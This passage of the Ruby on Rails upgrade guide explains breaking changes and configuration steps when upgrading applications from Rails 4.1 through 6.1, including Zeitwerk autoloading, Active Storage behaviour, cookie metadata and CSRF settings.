For more information on changes made to Rails 6.1 please see the [release notes](6_1_release_notes.html).

### [7.1. `Rails.application.config_for` return value no longer supports access with String keys.](#rails-application-config-for-return-value-no-longer-supports-access-with-string-keys)

Given a configuration file like this:

```
# config/example.yml
development:
  options:
    key: value
```

```
Rails.application.config_for(:example).options
```

This used to return a hash on which you could access values with String keys. That was deprecated in 6.0, and now doesn't work anymore.

You can call `with_indifferent_access` on the return value of `config_for` if you still want to access values with String keys, e.g.:

```
Rails.application.config_for(:example).with_indifferent_access.dig("options", "key")
```

### [7.2. Response's Content-Type when using `respond_to#any`](#response-s-content-type-when-using-respond-to-any)

The Content-Type header returned in the response can differ from what Rails 6.0 returned, more specifically if your application uses `respond_to { |format| format.any }`. The Content-Type will now be based on the given block rather than the request's format.

Example:

```
def my_action
  respond_to do |format|
    format.any { render(json: { foo: "bar" }) }
  end
end
```

```
get("my_action.csv")
```

Previous behavior was returning a `text/csv` response's Content-Type which is inaccurate since a JSON response is being rendered. Current behavior correctly returns a `application/json` response's Content-Type.

If your application relies on the previous incorrect behavior, you are encouraged to specify which formats your action accepts, i.e.

```
format.any(:xml, :json) { render request.format.to_sym => @people }
```

### [7.3. `ActiveSupport::Callbacks#halted_callback_hook` now receive a second argument](#activesupport-callbacks-halted-callback-hook-now-receive-a-second-argument)

Active Support allows you to override the `halted_callback_hook` whenever a callback halts the chain. This method now receives a second argument which is the name of the callback being halted. If you have classes that override this method, make sure it accepts two arguments. Note that this is a breaking change without a prior deprecation cycle (for performance reasons).

Example:

```
class Book < ApplicationRecord
  before_save { throw(:abort) }
  before_create { throw(:abort) }

  def halted_callback_hook(filter, callback_name) # => This method now accepts 2 arguments instead of 1
    Rails.logger.info("Book couldn't be #{callback_name}d")
  end
end
```

### [7.4. The `helper` class method in controllers uses `String#constantize`](#the-helper-class-method-in-controllers-uses-string-constantize)

Conceptually, before Rails 6.1

```
helper "foo/bar"
```

resulted in

```
require_dependency "foo/bar_helper"
module_name = "foo/bar_helper".camelize
module_name.constantize
```

Now it does this instead:

```
prefix = "foo/bar".camelize
"#{prefix}Helper".constantize
```

This change is backwards compatible for the majority of applications, in which case you do not need to do anything.

Technically, however, controllers could configure `helpers_path` to point to a directory in `$LOAD_PATH` that was not in the autoload paths. That use case is no longer supported out of the box. If the helper module is not autoloadable, the application is responsible for loading it before calling `helper`.

### [7.5. Redirection to HTTPS from HTTP will now use the 308 HTTP status code](#redirection-to-https-from-http-will-now-use-the-308-http-status-code)

The default HTTP status code used in `ActionDispatch::SSL` when redirecting non-GET/HEAD requests from HTTP to HTTPS has been changed to `308` as defined in <https://tools.ietf.org/html/rfc7538>.

### [7.6. Active Storage now requires Image Processing](#active-storage-now-requires-image-processing)

When processing variants in Active Storage, it's now required to have the [image\_processing gem](https://github.com/janko/image_processing) bundled instead of directly using `mini_magick`. Image Processing is configured by default to use `mini_magick` behind the scenes, so the easiest way to upgrade is by replacing the `mini_magick` gem for the `image_processing` gem and making sure to remove the explicit usage of `combine_options` since it's no longer needed.

For readability, you may wish to change raw `resize` calls to `image_processing` macros. For example, instead of:

```
video.preview(resize: "100x100")
video.preview(resize: "100x100>")
video.preview(resize: "100x100^")
```

you can respectively do:

```
video.preview(resize_to_fit: [100, 100])
video.preview(resize_to_limit: [100, 100])
video.preview(resize_to_fill: [100, 100])
```

### [7.7. New `ActiveModel::Error` class](#new-activemodel-error-class)

Errors are now instances of a new `ActiveModel::Error` class, with changes to the API. Some of these changes may throw errors depending on how you manipulate errors, while others will print deprecation warnings to be fixed for Rails 7.0.

More information about this change and details about the API changes can be found [in this PR](https://github.com/rails/rails/pull/32313).

## [8. Upgrading from Rails 5.2 to Rails 6.0](#upgrading-from-rails-5-2-to-rails-6-0)

For more information on changes made to Rails 6.0 please see the [release notes](6_0_release_notes.html).

### [8.1. Using Webpacker](#using-webpacker)

[Webpacker](https://github.com/rails/webpacker) is the default JavaScript compiler for Rails 6. But if you are upgrading the app, it is not activated by default. If you want to use Webpacker, then include it in your Gemfile and install it:

```
gem "webpacker"
```

```
$ bin/rails webpacker:install
```

### [8.2. Force SSL](#force-ssl)

The `force_ssl` method on controllers has been deprecated and will be removed in Rails 6.1. You are encouraged to enable [`config.force_ssl`](configuring.html#config-force-ssl) to enforce HTTPS connections throughout your application. If you need to exempt certain endpoints from redirection, you can use [`config.ssl_options`](configuring.html#config-ssl-options) to configure that behavior.

### [8.3. Purpose and expiry metadata is now embedded inside signed and encrypted cookies for increased security](#purpose-and-expiry-metadata-is-now-embedded-inside-signed-and-encrypted-cookies-for-increased-security)

To improve security, Rails embeds the purpose and expiry metadata inside encrypted or signed cookies value.

Rails can then thwart attacks that attempt to copy the signed/encrypted value of a cookie and use it as the value of another cookie.

This new embed metadata make those cookies incompatible with versions of Rails older than 6.0.

If you require your cookies to be read by Rails 5.2 and older, or you are still validating your 6.0 deploy and want to be able to rollback set `Rails.application.config.action_dispatch.use_cookies_with_metadata` to `false`.

### [8.4. All npm packages have been moved to the `@rails` scope](#all-npm-packages-have-been-moved-to-the-@rails-scope)

If you were previously loading any of the `actioncable`, `activestorage`, or `rails-ujs` packages through npm/yarn, you must update the names of these dependencies before you can upgrade them to `6.0.0`:

```
actioncable   → @rails/actioncable
activestorage → @rails/activestorage
rails-ujs     → @rails/ujs
```

### [8.5. Action Cable JavaScript API Changes](#action-cable-javascript-api-changes)

The Action Cable JavaScript package has been converted from CoffeeScript to ES2015, and we now publish the source code in the npm distribution.

This release includes some breaking changes to optional parts of the Action Cable JavaScript API:

* Configuration of the WebSocket adapter and logger adapter have been moved from properties of `ActionCable` to properties of `ActionCable.adapters`. If you are configuring these adapters you will need to make these changes:

  ```
  -    ActionCable.WebSocket = MyWebSocket
  +    ActionCable.adapters.WebSocket = MyWebSocket
  ```

  ```
  -    ActionCable.logger = myLogger
  +    ActionCable.adapters.logger = myLogger
  ```

* The `ActionCable.startDebugging()` and `ActionCable.stopDebugging()` methods have been removed and replaced with the property `ActionCable.logger.enabled`. If you are using these methods you will need to make these changes:

  ```
  -    ActionCable.startDebugging()
  +    ActionCable.logger.enabled = true
  ```

  ```
  -    ActionCable.stopDebugging()
  +    ActionCable.logger.enabled = false
  ```

### [8.6. `ActionDispatch::Response#content_type` now returns the Content-Type header without modification](#actiondispatch-response-content-type-now-returns-the-content-type-header-without-modification)

Previously, the return value of `ActionDispatch::Response#content_type` did NOT contain the charset part. This behavior has changed to include the previously omitted charset part as well.

If you want just the MIME type, please use `ActionDispatch::Response#media_type` instead.

Before:

```
resp = ActionDispatch::Response.new(200, "Content-Type" => "text/csv; header=present; charset=utf-16")
resp.content_type #=> "text/csv; header=present"
```

After:

```
resp = ActionDispatch::Response.new(200, "Content-Type" => "text/csv; header=present; charset=utf-16")
resp.content_type #=> "text/csv; header=present; charset=utf-16"
resp.media_type   #=> "text/csv"
```

### [8.7. New `config.hosts` setting](#new-config-hosts-setting)

Rails now has a new `config.hosts` setting for security purposes. This setting defaults to `localhost` in development. If you use other domains in development you need to allow them like this:

```
# config/environments/development.rb

config.hosts << "dev.myapp.com"
config.hosts << /[a-z0-9-]+\.myapp\.com/ # Optionally, regexp is allowed as well
```

For other environments `config.hosts` is empty by default, which means Rails won't validate the host at all. You can optionally add them if you want to validate it in production.

### [8.8. Autoloading](#autoloading)

The default configuration for Rails 6

```
# config/application.rb

config.load_defaults 6.0
```

enables `zeitwerk` autoloading mode on CRuby. In that mode, autoloading, reloading, and eager loading are managed by [Zeitwerk](https://github.com/fxn/zeitwerk).

If you are using defaults from a previous Rails version, you can enable zeitwerk like so:

```
# config/application.rb

config.autoloader = :zeitwerk
```

#### [8.8.1. Public API](#public-api)

In general, applications do not need to use the API of Zeitwerk directly. Rails sets things up according to the existing contract: `config.autoload_paths`, `config.cache_classes`, etc.

While applications should stick to that interface, the actual Zeitwerk loader object can be accessed as

```
Rails.autoloaders.main
```

That may be handy if you need to preload Single Table Inheritance (STI) classes or configure a custom inflector, for example.

#### [8.8.2. Project Structure](#project-structure)

If the application being upgraded autoloads correctly, the project structure should be already mostly compatible.

However, `classic` mode infers file names from missing constant names (`underscore`), whereas `zeitwerk` mode infers constant names from file names (`camelize`). These helpers are not always inverse of each other, in particular if acronyms are involved. For instance, `"FOO".underscore` is `"foo"`, but `"foo".camelize` is `"Foo"`, not `"FOO"`.

Compatibility can be checked with the `zeitwerk:check` task:

```
$ bin/rails zeitwerk:check
Hold on, I am eager loading the application.
All is good!
```

#### [8.8.3. require\_dependency](#require-dependency)

All known use cases of `require_dependency` have been eliminated, you should grep the project and delete them.

If your application uses Single Table Inheritance, please see the [Single Table Inheritance section](autoloading_and_reloading_constants.html#single-table-inheritance) of the Autoloading and Reloading Constants (Zeitwerk Mode) guide.

#### [8.8.4. Qualified names in class and module definitions](#qualified-names-in-class-and-module-definitions)

You can now robustly use constant paths in class and module definitions:

```
# Autoloading in this class' body matches Ruby semantics now.
class Admin::UsersController < ApplicationController
  # ...
end
```

A gotcha to be aware of is that, depending on the order of execution, the classic autoloader could sometimes be able to autoload `Foo::Wadus` in

```
class Foo::Bar
  Wadus
end
```

That does not match Ruby semantics because `Foo` is not in the nesting, and won't work at all in `zeitwerk` mode. If you find such corner case you can use the qualified name `Foo::Wadus`:

```
class Foo::Bar
  Foo::Wadus
end
```

or add `Foo` to the nesting:

```
module Foo
  class Bar
    Wadus
  end
end
```

#### [8.8.5. Concerns](#concerns)

You can autoload and eager load from a standard structure like

```
app/models
app/models/concerns
```

In that case, `app/models/concerns` is assumed to be a root directory (because it belongs to the autoload paths), and it is ignored as namespace. So, `app/models/concerns/foo.rb` should define `Foo`, not `Concerns::Foo`.

The `Concerns::` namespace worked with the classic autoloader as a side-effect of the implementation, but it was not really an intended behavior. An application using `Concerns::` needs to rename those classes and modules to be able to run in `zeitwerk` mode.

#### [8.8.6. Having `app` in the autoload paths](#having-app-in-the-autoload-paths)

Some projects want something like `app/api/base.rb` to define `API::Base`, and add `app` to the autoload paths to accomplish that in `classic` mode. Since Rails adds all subdirectories of `app` to the autoload paths automatically, we have another situation in which there are nested root directories, so that setup no longer works. Similar principle we explained above with `concerns`.

If you want to keep that structure, you'll need to delete the subdirectory from the autoload paths in an initializer:

```
ActiveSupport::Dependencies.autoload_paths.delete("#{Rails.root}/app/api")
```

#### [8.8.7. Autoloaded Constants and Explicit Namespaces](#autoloaded-constants-and-explicit-namespaces)

If a namespace is defined in a file, as `Hotel` is here:

```
app/models/hotel.rb         # Defines Hotel.
app/models/hotel/pricing.rb # Defines Hotel::Pricing.
```

the `Hotel` constant has to be set using the `class` or `module` keywords. For example:

```
class Hotel
end
```

is good.

Alternatives like

```
Hotel = Class.new
```

or

```
Hotel = Struct.new
```

won't work, child objects like `Hotel::Pricing` won't be found.

This restriction only applies to explicit namespaces. Classes and modules not defining a namespace can be defined using those idioms.

#### [8.8.8. One file, one constant (at the same top-level)](#one-file-one-constant-at-the-same-top-level)

In `classic` mode you could technically define several constants at the same top-level and have them all reloaded. For example, given

```
# app/models/foo.rb

class Foo
end

class Bar
end
```

while `Bar` could not be autoloaded, autoloading `Foo` would mark `Bar` as autoloaded too. This is not the case in `zeitwerk` mode, you need to move `Bar` to its own file `bar.rb`. One file, one constant.

This only applies to constants at the same top-level as in the example above. Inner classes and modules are fine. For example, consider

```
# app/models/foo.rb

class Foo
  class InnerClass
  end
end
```

If the application reloads `Foo`, it will reload `Foo::InnerClass` too.

#### [8.8.9. Spring and the `test` Environment](#spring-and-the-test-environment)

Spring reloads the application code if something changes. In the `test` environment you need to enable reloading for that to work:

```
# config/environments/test.rb

config.cache_classes = false
```

Otherwise you'll get this error:

```
reloading is disabled because config.cache_classes is true
```

#### [8.8.10. Bootsnap](#autoloading-bootsnap)

Bootsnap should be at least version 1.4.2.

In addition to that, Bootsnap needs to disable the iseq cache due to a bug in the interpreter if running Ruby 2.5. Please make sure to depend on at least Bootsnap 1.4.4 in that case.

#### [8.8.11. `config.add_autoload_paths_to_load_path`](#config-add-autoload-paths-to-load-path)

The new configuration point [`config.add_autoload_paths_to_load_path`](configuring.html#config-add-autoload-paths-to-load-path) is `true` by default for backwards compatibility, but allows you to opt-out from adding the autoload paths to `$LOAD_PATH`.

This makes sense in most applications, since you never should require a file in `app/models`, for example, and Zeitwerk only uses absolute file names internally.

By opting-out you optimize `$LOAD_PATH` lookups (less directories to check), and save Bootsnap work and memory consumption, since it does not need to build an index for these directories.

#### [8.8.12. Thread-safety](#thread-safety)

In classic mode, constant autoloading is not thread-safe, though Rails has locks in place for example to make web requests thread-safe when autoloading is enabled, as it is common in the development environment.

Constant autoloading is thread-safe in `zeitwerk` mode. For example, you can now autoload in multi-threaded scripts executed by the `runner` command.

#### [8.8.13. Globs in config.autoload\_paths](#globs-in-config-autoload-paths)

Beware of configurations like

```
config.autoload_paths += Dir["#{config.root}/lib/**/"]
```

Every element of `config.autoload_paths` should represent the top-level namespace (`Object`) and they cannot be nested in consequence (with the exception of `concerns` directories explained above).

To fix this, just remove the wildcards:

```
config.autoload_paths << "#{config.root}/lib"
```

#### [8.8.14. Eager loading and autoloading are consistent](#eager-loading-and-autoloading-are-consistent)

In `classic` mode, if `app/models/foo.rb` defines `Bar`, you won't be able to autoload that file, but eager loading will work because it loads files recursively blindly. This can be a source of errors if you test things first eager loading, execution may fail later autoloading.

In `zeitwerk` mode both loading modes are consistent, they fail and err in the same files.

#### [8.8.15. How to Use the Classic Autoloader in Rails 6](#how-to-use-the-classic-autoloader-in-rails-6)

Applications can load Rails 6 defaults and still use the classic autoloader by setting `config.autoloader` this way:

```
# config/application.rb

config.load_defaults 6.0
config.autoloader = :classic
```

When using the Classic Autoloader in Rails 6 application it is recommended to set concurrency level to 1 in development environment, for the web servers and background processors, due to the thread-safety concerns.

### [8.9. Active Storage assignment behavior change](#active-storage-assignment-behavior-change)

With the configuration defaults for Rails 5.2, assigning to a collection of attachments declared with `has_many_attached` appends new files:

```
class User < ApplicationRecord
  has_many_attached :highlights
end

user.highlights.attach(filename: "funky.jpg")
user.highlights.count # => 1

blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg")
user.update!(highlights: [ blob ])

user.highlights.count # => 2
user.highlights.first.filename # => "funky.jpg"
user.highlights.second.filename # => "town.jpg"
```

With the configuration defaults for Rails 6.0, assigning to a collection of attachments replaces existing files instead of appending to them. This matches Active Record behavior when assigning to a collection association:

```
user.highlights.attach(filename: "funky.jpg")
user.highlights.count # => 1

blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg")
user.update!(highlights: [ blob ])

user.highlights.count # => 1
user.highlights.first.filename # => "town.jpg"
```

`#attach` can be used to add new attachments without removing the existing ones:

```
blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg")
user.highlights.attach(blob)

user.highlights.count # => 2
user.highlights.first.filename # => "funky.jpg"
user.highlights.second.filename # => "town.jpg"
```

Existing applications can opt in to this new behavior by setting [`config.active_storage.replace_on_assign_to_many`](configuring.html#config-active-storage-replace-on-assign-to-many) to `true`. The old behavior will be deprecated in Rails 7.0 and removed in Rails 7.1.

### [8.10. Custom exception handling applications](#custom-exception-handling-applications)

Invalid `Accept` or `Content-Type` request headers will now raise an exception. The default [`config.exceptions_app`](configuring.html#config-exceptions-app) specifically handles that error and compensates for it. Custom exceptions applications will need to handle that error as well, or such requests will cause Rails to use the fallback exceptions application, which returns a `500 Internal Server Error`.

## [9. Upgrading from Rails 5.1 to Rails 5.2](#upgrading-from-rails-5-1-to-rails-5-2)

For more information on changes made to Rails 5.2 please see the [release notes](5_2_release_notes.html).

### [9.1. Bootsnap](#upgrading-from-rails-5-1-to-rails-5-2-bootsnap)

Rails 5.2 adds bootsnap gem in the [newly generated app's Gemfile](https://github.com/rails/rails/pull/29313). The `app:update` command sets it up in `boot.rb`. If you want to use it, then add it in the Gemfile:

```
# Reduces boot times through caching; required in config/boot.rb
gem "bootsnap", require: false
```

Otherwise change the `boot.rb` to not use bootsnap.

### [9.2. Expiry in signed or encrypted cookie is now embedded in the cookies values](#expiry-in-signed-or-encrypted-cookie-is-now-embedded-in-the-cookies-values)

To improve security, Rails now embeds the expiry information also in encrypted or signed cookies value.

This new embedded information makes those cookies incompatible with versions of Rails older than 5.2.

If you require your cookies to be read by 5.1 and older, or you are still validating your 5.2 deploy and want to allow you to rollback set `Rails.application.config.action_dispatch.use_authenticated_cookie_encryption` to `false`.

## [10. Upgrading from Rails 5.0 to Rails 5.1](#upgrading-from-rails-5-0-to-rails-5-1)

For more information on changes made to Rails 5.1 please see the [release notes](5_1_release_notes.html).

### [10.1. Top-level `HashWithIndifferentAccess` is soft-deprecated](#top-level-hashwithindifferentaccess-is-soft-deprecated)

If your application uses the top-level `HashWithIndifferentAccess` class, you should slowly move your code to instead use `ActiveSupport::HashWithIndifferentAccess`.

It is only soft-deprecated, which means that your code will not break at the moment and no deprecation warning will be displayed, but this constant will be removed in the future.

Also, if you have pretty old YAML documents containing dumps of such objects, you may need to load and dump them again to make sure that they reference the right constant, and that loading them won't break in the future.

### [10.2. `application.secrets` now loaded with all keys as symbols](#application-secrets-now-loaded-with-all-keys-as-symbols)

If your application stores nested configuration in `config/secrets.yml`, all keys are now loaded as symbols, so access using strings should be changed.

From:

```
Rails.application.secrets[:smtp_settings]["address"]
```

To:

```
Rails.application.secrets[:smtp_settings][:address]
```

### [10.3. Removed deprecated support to `:text` and `:nothing` in `render`](#removed-deprecated-support-to-text-and-nothing-in-render)

If your controllers are using `render :text`, they will no longer work. The new method of rendering text with MIME type of `text/plain` is to use `render :plain`.

Similarly, `render :nothing` is also removed and you should use the `head` method to send responses that contain only headers. For example, `head :ok` sends a 200 response with no body to render.

### [10.4. Removed deprecated support of `redirect_to :back`](#removed-deprecated-support-of-redirect-to-back)

In Rails 5.0, `redirect_to :back` was deprecated. In Rails 5.1, it was removed completely.

As an alternative, use `redirect_back`. It's important to note that `redirect_back` also takes a `fallback_location` option which will be used in case the `HTTP_REFERER` is missing.

```
redirect_back(fallback_location: root_path)
```

## [11. Upgrading from Rails 4.2 to Rails 5.0](#upgrading-from-rails-4-2-to-rails-5-0)

For more information on changes made to Rails 5.0 please see the [release notes](5_0_release_notes.html).

### [11.1. Ruby 2.2.2+ required](#ruby-2-2-2-required)

From Ruby on Rails 5.0 onwards, Ruby 2.2.2+ is the only supported Ruby version. Make sure you are on Ruby 2.2.2 version or greater, before you proceed.

### [11.2. Active Record Models Now Inherit from ApplicationRecord by Default](#active-record-models-now-inherit-from-applicationrecord-by-default)

In Rails 4.2, an Active Record model inherits from `ActiveRecord::Base`. In Rails 5.0, all models inherit from `ApplicationRecord`.

`ApplicationRecord` is a new superclass for all app models, analogous to app controllers subclassing `ApplicationController` instead of `ActionController::Base`. This gives apps a single spot to configure app-wide model behavior.

When upgrading from Rails 4.2 to Rails 5.0, you need to create an `application_record.rb` file in `app/models/` and add the following content:

```
class ApplicationRecord < ActiveRecord::Base
  self.abstract_class = true
end
```

Then make sure that all your models inherit from it.

### [11.3. Halting Callback Chains via `throw(:abort)`](#halting-callback-chains-via-throw-abort)

In Rails 4.2, when a 'before' callback returns `false` in Active Record and Active Model, then the entire callback chain is halted. In other words, successive 'before' callbacks are not executed, and neither is the action wrapped in callbacks.

In Rails 5.0, returning `false` in an Active Record or Active Model callback will not have this side effect of halting the callback chain. Instead, callback chains must be explicitly halted by calling `throw(:abort)`.

When you upgrade from Rails 4.2 to Rails 5.0, returning `false` in those kind of callbacks will still halt the callback chain, but you will receive a deprecation warning about this upcoming change.

When you are ready, you can opt into the new behavior and remove the deprecation warning by adding the following configuration to your `config/application.rb`:

```
ActiveSupport.halt_callback_chains_on_return_false = false
```

Note that this option will not affect Active Support callbacks since they never halted the chain when any value was returned.

See [#17227](https://github.com/rails/rails/pull/17227) for more details.

### [11.4. ActiveJob Now Inherits from ApplicationJob by Default](#activejob-now-inherits-from-applicationjob-by-default)

In Rails 4.2, an Active Job inherits from `ActiveJob::Base`. In Rails 5.0, this behavior has changed to now inherit from `ApplicationJob`.

When upgrading from Rails 4.2 to Rails 5.0, you need to create an `application_job.rb` file in `app/jobs/` and add the following content:

```
class ApplicationJob < ActiveJob::Base
end
```

Then make sure that all your job classes inherit from it.

See [#19034](https://github.com/rails/rails/pull/19034) for more details.

### [11.5. Rails Controller Testing](#rails-controller-testing)

#### [11.5.1. Extraction of some helper methods to `rails-controller-testing`](#extraction-of-some-helper-methods-to-rails-controller-testing)

`assigns` and `assert_template` have been extracted to the `rails-controller-testing` gem. To continue using these methods in your controller tests, add `gem "rails-controller-testing"` to your `Gemfile`.

If you are using RSpec for testing, please see the extra configuration required in the gem's documentation.

#### [11.5.2. New behavior when uploading files](#new-behavior-when-uploading-files)

If you are using `ActionDispatch::Http::UploadedFile` in your tests to upload files, you will need to change to use the similar `Rack::Test::UploadedFile` class instead.

See [#26404](https://github.com/rails/rails/issues/26404) for more details.

### [11.6. Autoloading is Disabled After Booting in the Production Environment](#autoloading-is-disabled-after-booting-in-the-production-environment)

Autoloading is now disabled after booting in the production environment by default.

Eager loading the application is part of the boot process, so top-level constants are fine and are still autoloaded, no need to require their files.

Constants in deeper places only executed at runtime, like regular method bodies, are also fine because the file defining them will have been eager loaded while booting.

For the vast majority of applications this change needs no action. But in the very rare event that your application needs autoloading while running in production, set `Rails.application.config.enable_dependency_loading` to true.

### [11.7. XML Serialization](#xml-serialization)

`ActiveModel::Serializers::Xml` has been extracted from Rails to the `activemodel-serializers-xml` gem. To continue using XML serialization in your application, add `gem "activemodel-serializers-xml"` to your `Gemfile`.

### [11.8. Removed Support for Legacy `mysql` Database Adapter](#removed-support-for-legacy-mysql-database-adapter)

Rails 5 removes support for the legacy `mysql` database adapter. Most users should be able to use `mysql2` instead. It will be converted to a separate gem when we find someone to maintain it.

### [11.9. Removed Support for Debugger](#removed-support-for-debugger)

`debugger` is not supported by Ruby 2.2 which is required by Rails 5. Use `byebug` instead.

### [11.10. Use `bin/rails` for running tasks and tests](#use-bin-rails-for-running-tasks-and-tests)

Rails 5 adds the ability to run tasks and tests through `bin/rails` instead of rake. Generally these changes are in parallel with rake, but some were ported over altogether.

To use the new test runner simply type `bin/rails test`.

`rake dev:cache` is now `bin/rails dev:cache`.

Run `bin/rails` inside your application's root directory to see the list of commands available.

### [11.11. `ActionController::Parameters` No Longer Inherits from `HashWithIndifferentAccess`](#actioncontroller-parameters-no-longer-inherits-from-hashwithindifferentaccess)

Calling `params` in your application will now return an object instead of a hash. If your parameters are already permitted, then you will not need to make any changes. If you are using `map` and other methods that depend on being able to read the hash regardless of `permitted?` you will need to upgrade your application to first permit and then convert to a hash.

```
params.permit([:proceed_to, :return_to]).to_h
```

### [11.12. `protect_from_forgery` Now Defaults to `prepend: false`](#protect-from-forgery-now-defaults-to-prepend-false)

`protect_from_forgery` defaults to `prepend: false` which means that it will be inserted into the callback chain at the point in which you call it in your application. If you want `protect_from_forgery` to always run first, then you should change your application to use `protect_from_forgery prepend: true`.

### [11.13. Default Template Handler is Now RAW](#default-template-handler-is-now-raw)

Files without a template handler in their extension will be rendered using the raw handler. Previously Rails would render files using the ERB template handler.

If you do not want your file to be handled via the raw handler, you should add an extension to your file that can be parsed by the appropriate template handler.

### [11.14. Added Wildcard Matching for Template Dependencies](#added-wildcard-matching-for-template-dependencies)

You can now use wildcard matching for your template dependencies. For example, if you were defining your templates as such:

```
<% # Template Dependency: recordings/threads/events/subscribers_changed %>
<% # Template Dependency: recordings/threads/events/completed %>
<% # Template Dependency: recordings/threads/events/uncompleted %>
```

You can now just call the dependency once with a wildcard.

```
<% # Template Dependency: recordings/threads/events/* %>
```

### [11.15. `ActionView::Helpers::RecordTagHelper` moved to external gem (record\_tag\_helper)](#actionview-helpers-recordtaghelper-moved-to-external-gem-record-tag-helper)

`content_tag_for` and `div_for` have been removed in favor of just using `content_tag`. To continue using the older methods, add the `record_tag_helper` gem to your `Gemfile`:

```
gem "record_tag_helper", "~> 1.0"
```

See [#18411](https://github.com/rails/rails/pull/18411) for more details.

### [11.16. Removed Support for `protected_attributes` Gem](#removed-support-for-protected-attributes-gem)

The `protected_attributes` gem is no longer supported in Rails 5.

### [11.17. Removed support for `activerecord-deprecated_finders` gem](#removed-support-for-activerecord-deprecated-finders-gem)

The `activerecord-deprecated_finders` gem is no longer supported in Rails 5.

### [11.18. `ActiveSupport::TestCase` Default Test Order is Now Random](#activesupport-testcase-default-test-order-is-now-random)

When tests are run in your application, the default order is now `:random` instead of `:sorted`. Use the following config option to set it back to `:sorted`.

```
# config/environments/test.rb
Rails.application.configure do
  config.active_support.test_order = :sorted
end
```

### [11.19. `ActionController::Live` became a `Concern`](#actioncontroller-live-became-a-concern)

If you include `ActionController::Live` in another module that is included in your controller, then you should also extend the module with `ActiveSupport::Concern`. Alternatively, you can use the `self.included` hook to include `ActionController::Live` directly to the controller once the `StreamingSupport` is included.

This means that if your application used to have its own streaming module, the following code would break in production:

```
# This is a work-around for streamed controllers performing authentication with Warden/Devise.
# See https://github.com/plataformatec/devise/issues/2332
# Authenticating in the router is another solution as suggested in that issue
class StreamingSupport
  include ActionController::Live # this won't work in production for Rails 5
  # extend ActiveSupport::Concern # unless you uncomment this line.

  def process(name)
    super(name)
  rescue ArgumentError => e
    if e.message == "uncaught throw :warden"
      throw :warden
    else
      raise e
    end
  end
end
```

### [11.20. New Framework Defaults](#new-framework-defaults)

#### [11.20.1. Active Record `belongs_to` Required by Default Option](#active-record-belongs-to-required-by-default-option)

`belongs_to` will now trigger a validation error by default if the association is not present.

This can be turned off per-association with `optional: true`.

This default will be automatically configured in new applications. If an existing application wants to add this feature it will need to be turned on in an initializer:

```
config.active_record.belongs_to_required_by_default = true
```

The configuration is by default global for all your models, but you can override it on a per model basis. This should help you migrate all your models to have their associations required by default.

```
class Book < ApplicationRecord
  # model is not yet ready to have its association required by default

  self.belongs_to_required_by_default = false
  belongs_to(:author)
end

class Car < ApplicationRecord
  # model is ready to have its association required by default

  self.belongs_to_required_by_default = true
  belongs_to(:pilot)
end
```

#### [11.20.2. Per-form CSRF Tokens](#per-form-csrf-tokens)

Rails 5 now supports per-form CSRF tokens to mitigate against code-injection attacks with forms created by JavaScript. With this option turned on, forms in your application will each have their own CSRF token that is specific to the action and method for that form.

```
config.action_controller.per_form_csrf_tokens = true
```

#### [11.20.3. Forgery Protection with Origin Check](#forgery-protection-with-origin-check)

You can now configure your application to check if the HTTP `Origin` header should be checked against the site's origin as an additional CSRF defense. Set the following in your config to true:

```
config.action_controller.forgery_protection_origin_check = true
```

#### [11.20.4. Allow Configuration of Action Mailer Queue Name](#allow-configuration-of-action-mailer-queue-name)

The default mailer queue name is `mailers`. This configuration option allows you to globally change the queue name. Set the following in your config:

```
config.action_mailer.deliver_later_queue_name = :new_queue_name
```

#### [11.20.5. Support Fragment Caching in Action Mailer Views](#support-fragment-caching-in-action-mailer-views)

Set [`config.action_mailer.perform_caching`](configuring.html#config-action-mailer-perform-caching) in your config to determine whether your Action Mailer views should support caching.

```
config.action_mailer.perform_caching = true
```

#### [11.20.6. Configure the Output of `db:structure:dump`](#configure-the-output-of-db-structure-dump)

If you're using `schema_search_path` or other PostgreSQL extensions, you can control how the schema is dumped. Set to `:all` to generate all dumps, or to `:schema_search_path` to generate from schema search path.

```
config.active_record.dump_schemas = :all
```

#### [11.20.7. Configure SSL Options to Enable HSTS with Subdomains](#configure-ssl-options-to-enable-hsts-with-subdomains)

Set the following in your config to enable HSTS when using subdomains:

```
config.ssl_options = { hsts: { subdomains: true } }
```

#### [11.20.8. Preserve Timezone of the Receiver](#preserve-timezone-of-the-receiver)

When using Ruby 2.4, you can preserve the timezone of the receiver when calling `to_time`.

```
ActiveSupport.to_time_preserves_timezone = false
```

### [11.21. Changes with JSON/JSONB serialization](#changes-with-json-jsonb-serialization)

In Rails 5.0, how JSON/JSONB attributes are serialized and deserialized changed. Now, if you set a column equal to a `String`, Active Record will no longer turn that string into a `Hash`, and will instead only return the string. This is not limited to code interacting with models, but also affects `:default` column settings in `db/schema.rb`. It is recommended that you do not set columns equal to a `String`, but pass a `Hash` instead, which will be converted to and from a JSON string automatically.

## [12. Upgrading from Rails 4.1 to Rails 4.2](#upgrading-from-rails-4-1-to-rails-4-2)

### [12.1. Web Console](#web-console)

First, add `gem "web-console", "~> 2.0"` to the `:development` group in your `Gemfile` and run `bundle install` (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., `<%= console %>`) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.

### [12.2. Responders](#responders)

`respond_with` and the class-level `respond_to` methods have been extracted to the `responders` gem. To use them, simply add `gem "responders", "~> 2.0"` to your `Gemfile`. Calls to `respond_with` and `respond_to` (again, at the class level) will no longer work without having included the `responders` gem in your dependencies:

```
# app/controllers/users_controller.rb

class UsersController < ApplicationController
  respond_to :html, :json

  def show
    @user = User.find(params[:id])
    respond_with @user
  end
end
```

Instance-level `respond_to` is unaffected and does not require the additional gem:

```
# app/controllers/users_controller.rb

class UsersController < ApplicationController
  def show
    @user = User.find(params[:id])
    respond_to do |format|
      format.html
      format.json { render json: @user }
    end
  end
end
```

See [#16526](https://github.com/rails/rails/pull/16526) for more details.

### [12.3. Error handling in transaction callbacks](#error-handling-in-transaction-callbacks)

Currently, Active Record suppresses errors raised within `after_rollback` or `after_commit` callbacks and only prints them to the logs. In the next version, these errors will no longer be suppressed. Instead, the errors will propagate normally just like in other Active Record callbacks.

When you define an `after_rollback` or `after_commit` callback, you will receive a deprecation warning about this upcoming change. When you are ready, you can opt into the new behavior and remove the deprecation warning by adding following configuration to your `config/application.rb`:

```
config.active_record.raise_in_transactional_callbacks = true
```

